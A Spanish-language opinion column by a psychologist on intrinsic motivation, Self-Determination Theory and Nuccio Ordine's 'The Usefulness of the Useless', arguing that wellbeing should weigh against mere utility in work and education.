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Inicio Columnas¿Ángeles caídos o antropoides erguidos? Cuando el tiempo deja de ser oro, para ser dorado: Lo útil, lo inútil y la motivación intrínseca

Cuando el tiempo deja de ser oro, para ser dorado: Lo útil, lo inútil y la motivación intrínseca

Por Dr. Luis Flórez Alarcón
Cuando el tiempo deja de ser oro, para ser dorado: Lo útil, lo inútil y la motivación intrínseca

Foto tomada de: https://www.wikiart.org/es/salvador-dali/la-persistencia-de-la-memoria-1931

La motivación es esa cualidad psicológica que nos conduce a Hacer o a No hacer algo, la cual surge de las expectativas que nos mueven a hacerlo. Esas expectativas determinan que las personas realicen sus actos bajo un mayor nivel de control externo, por ejemplo del control ejercido por las recompensas o los castigos que el medio les administra como consecuencia de sus acciones, o, por el contrario, los realicen bajo un mayor nivel de control interno autónomo, por ejemplo por la satisfacción que el acto en sí mismo produce. No es lo mismo “invertir” el tiempo en hacer algo con la expectativa de que me deje una utilidad, y se cumpla así aquello de que “el tiempo es oro”, que hacerlo por el entusiasmo que me genera, conduciendo a que el tiempo adquiera el tinte dorado del bienestar personal. El desarrollo de la motivación intrínseca va de la mano con el desarrollo humano de una persona.  Paradójicamente, nos angustia hacer cosas cuando son aparentemente inútiles, si se las juzga a la luz del beneficio inmediato que producen. La presente nota busca analizar algunos principios que rigen la generación de la motivación intrínseca a la luz de la Teoría de la Autodeterminación, y a evaluar la utilidad de estas acciones en función de su impacto sobre la calidad de vida de la persona, no siempre traducible en gramos de oro ganados, pero sí de felicidad y de bienestar personal, que le dan el tinte dorado a la vida.

Time is gold, el tiempo es oro, y hay que invertirlo aprendiendo a hacer cosas útiles, les enseñamos a nuestros hijos desde niños. Entonces les insistimos en la importancia de que estudien para que lleguen a ser profesionales exitosos, los matriculamos en una escuela de deportes para que lleguen a ser jugadores exitosos, les compramos un instrumento musical para que lleguen a ser músicos exitosos, o los matriculamos en alguna actividad para que aprendan a hacer algo que, suponemos, les sirva para ser exitosos en la vida. Por supuesto el “éxito” tiene una medida, que por lo general es externa a la actividad en sí misma; esa medida de la utilidad es la ganancia que la actividad le reporte a la persona.

Escuchamos, a manera de ilustración, a un padre o una madre que se preguntan ¿de qué sirve que mi hijo sea buen guitarrista, si eso no le genera un solo peso para que “pueda vivir”? ¿Para que ande tocando guitarra y se vuelva un vago? En machistas tiempos pasados, pero aún no superados, solían preguntarse muchos padres acerca del estudio de sus hijas (el estudio de las mujeres) ¿Para qué estudian, para colgar el diploma en la cocina? A veces les escuchamos aceptar que sus hijos(as) hagan algo, si lo que hacen tiene una utilidad  secundaria; por ejemplo, cuando le proponen al hijo “que se dedique a hacer deporte en vez de andar por ahí aprendiendo vicios”. Incluso escuchamos a los pedagogos alabar las virtudes del juego como método que sirve de trampolín para que el niño aprenda algo, más que por la virtud de la lúdica en sí misma que lleva al niño a disfrutar de lo que hace.

Difícil encontrar una mejor manera de expresar la anterior idea, que la bella forma literaria que utiliza el escritor italiano Nuccio Ordine en su libro “La utilidad de lo inútil” (Acantilado, 2013), cuando expresa “Quizá sea posible reencontrar en la lúcida locura de Aureliano Buendía la fecunda inutilidad de la literatura. Encerrado en su taller secreto el coronel revolucionario fabrica pescaditos de oro a cambio de monedas de oro que después se funden para producir de nuevo otros pescaditos. Círculo vicioso que no escapa a las críticas de Úrsula, a la mirada afectuosa de la madre que se preocupa por el futuro del hijo” (p. 30). Para concluir, más adelante, con la genial explicación de este comportamiento que da el propio García Márquez, en Cien años de soledad, la cual cita Ordine en su texto: “Con su terrible sentido práctico, ella [Úrsula] no podía entender el negocio del coronel, que cambiaba los pescaditos por monedas de oro, y luego convertía las monedas de oro en pescaditos, y así sucesivamente, de modo que tenía que trabajar cada vez más a medida que más vendía, para satisfacer un círculo vicioso exasperante. En verdad, lo que le interesaba a él no era el negocio sino el trabajo”. El trabajo movido por su motor natural, la utilidad de la actividad en sí misma; no la utilidad del producto. A eso se refiere la motivación intrínseca. Diferente a la idea que se tiene acerca del trabajo en los tiempos del coaching, que, de acuerdo con la ironía del humor popular !cómo será de agobiante que hasta pagan por hacerlo!

El profesor de literatura Nuccio Ordine (Universidad de Calabria, Italia) nos visitó recientemente  con motivo del congreso sobre el Presente y el Futuro de las Humanidades, que realizó el programa de doctorado en Humanidades, Humanismo y Persona, de la Universidad de San Buenaventura en Bogotá. En una entrevista concedida a la revista Arcadia, él critica el papel actual de las universidades que asumen un rol productor de profesionales, que las asemejan al rol de fabricantes de diplomas (ver la entrevista en la siguiente dirección: http://www.revistaarcadia.com/libros/articulo/entrevista-con-nuccio-ordine-academico-italiano-sobre-la-sociedad/65958). Se trata, en el fondo, de una crítica a la universidad cuando fundamenta su valor más en motivaciones extrínsecas de utilitarismo social, que en la motivación intrínseca de generar pasión por el conocimiento. Esta crítica adquiere gran valor en el año en que nuestra principal universidad pública, la Universidad Nacional de Colombia, cumple 150 años pero debe celebrar su sesquicentenario en medio de una crisis financiera de las universidades públicas porque el modelo de auto-financiación en alto porcentaje que las soporta ha hecho agua.

En una nota anterior me referí a la Teoría de la Autodeterminación (TAD) y a su propuesta acerca de las distintas formas que puede asumir la autodeterminación en la realización de una acción, pues la sola decisión personal de hacer algo no representa necesariamente autonomía, ya que puede tratarse de una decisión propulsada por razones completamente externas a la persona (ver la nota titulada ¿En mi casa mando yo?, en la siguiente dirección: http://elartedesabervivir.com/en-mi-casa-mando-yo-las-formas-de-la-autodeterminacion/). En la presente nota deseo referirme a otro aspecto de la TAD, que plantea el papel que juega la satisfacción de las necesidades de autonomía, de competencia y de interacción social, como necesidades psicológicas universales del homo sapiens que se constituyen en el principal motor propulsor de la motivación intrínseca.

Vive como si fueras a morir mañana”, es una sentencia que se le ha atribuido a Mahatma Gandhi, a Agustín de Hipona, a Martín Lutero, o, incluso, a Charles Chaplin. Posiblemente todos ellos se refirieron a la misma idea, de diferente forma y en distintos contextos. Una interpretación de esa sentencia, en el contexto de la presente nota, puede ser “trata de hacer siempre lo que más te apasione hacer”, es decir, deja que la motivación intrínseca, la “fecunda inutilidad”, sea el mejor criterio que prime en tus decisiones. ¿Quién podría arrepentirse de ocupar gran cantidad de tiempo y de inmiscuirse en meticulosos ritos, con tal de hacer posible el amor correspondido y bien hecho? Comprar un naranjo en el mercado es más barato y más práctico que cultivarlo en tu jardín; pero jamás te aportará el conocimiento ni el deleite que conlleva sembrarlo, rociarlo, abonarlo, verlo crecer, y dar el fruto.

Profundizando el anterior concepto, para que la idea de motivación intrínseca no se haga coincidir única y ligeramente con la idea de placer, convirtiendo al hedonismo en un criterio más de utilidad, el monólogo socrático puede ayudarnos a discernir sobre los tres aspectos que la TAD considera esenciales de la motivación intrínseca: a) el nivel de autonomía presente en una decisión (en contraposición con la imposición abierta o soterrada que ejerce la presión de la cultura); b) el nivel de fundamentación que la decisión tiene  sobre (y el fortalecimiento que hace de) nuestras competencias personales, habilidades innatas o aprendidas; y, c) el nivel de la calidad que esa decisión introduce sobre las relaciones interpersonales, especialmente con las personas con las que mantenemos un nivel más significativo de interacción cotidiana.

Sería necio pretender hacer caso omiso de la existencia objetiva de múltiples necesidades reales, de muy diversa índole, presentes en la vida de cualquier persona. También sería necio desconocer que la utilidad de muchas de las cosas que hacemos, en especial en el campo laboral, tienen como meta proveer los recursos indispensables para la solución de esas necesidades. Los teóricos de la motivación humana sugieren la importancia de que las acciones que caen en la esfera de la motivación controlada, por ejemplo las acciones controladas por la obtención de un salario, coincidan en el mayor nivel posible con la determinación propia de la motivación autónoma. Esta sugerencia conduce a cuestionar el compromiso motivacional con acciones cuya recompensa externa se obtiene al costo de violentar la recompensa interna, recompensa asociada a la creatividad y al deleite que aporta la realización de la acción en sí misma. La realidad es que estas propiedades del trabajo son las primerísimas sacrificadas por la producción en serie propia de la sociedad industrial.

Cuando el desarrollo humano se mide con base en criterios de utilidad, como el tradicional incremento del producto interno bruto, el incremento de la educación certificada con diplomas, o el incremento de la esperanza de vida poblacional, salta a la vista la necesidad de introducir en la evaluación otros criterios que denotan una aparente inutilidad, tales como el bienestar subjetivo, la satisfacción personal con lo que se hace, la felicidad, y la ausencia de agobio. La realización personal en el campo espiritual, que no debe confundirse con lo religioso exclusivamente,  pareciera ser privilegio de unos pocos con posibilidad de  discriminar entre lo estético y lo comercial.

El fiel de la balanza final que puede aportar un criterio importante para discernir entre decidirse por la fuerza del impulso presente en la motivación extrínseca (la “utilidad”), y la fuerza presente en la motivación intrínseca, sobre todo cuando ésta se encuentre marcada por el signo de la aparente “inutilidad”, puede ser el de tomar como argumento de elección la afectación del bienestar subjetivo, tanto el individual como el colectivo, resultante de nuestras decisiones de hacer o de no hacer algo. Y decidirnos con confianza por hacer todo lo que vaya en favor de la mayor autonomía, del mayor crecimiento de nuestras competencias, y del mejor estado de nuestra interacción social, muy especialmente la afectiva. ¿Acertaron Adán y Eva cuando eligieron entre el impulso extrínseco (el paraíso) y el impulso intrínseco (la manzana)?

Por: Luis Flórez Alarcón
Doctor en Psicología Experimental
Correo: luis@florez.info

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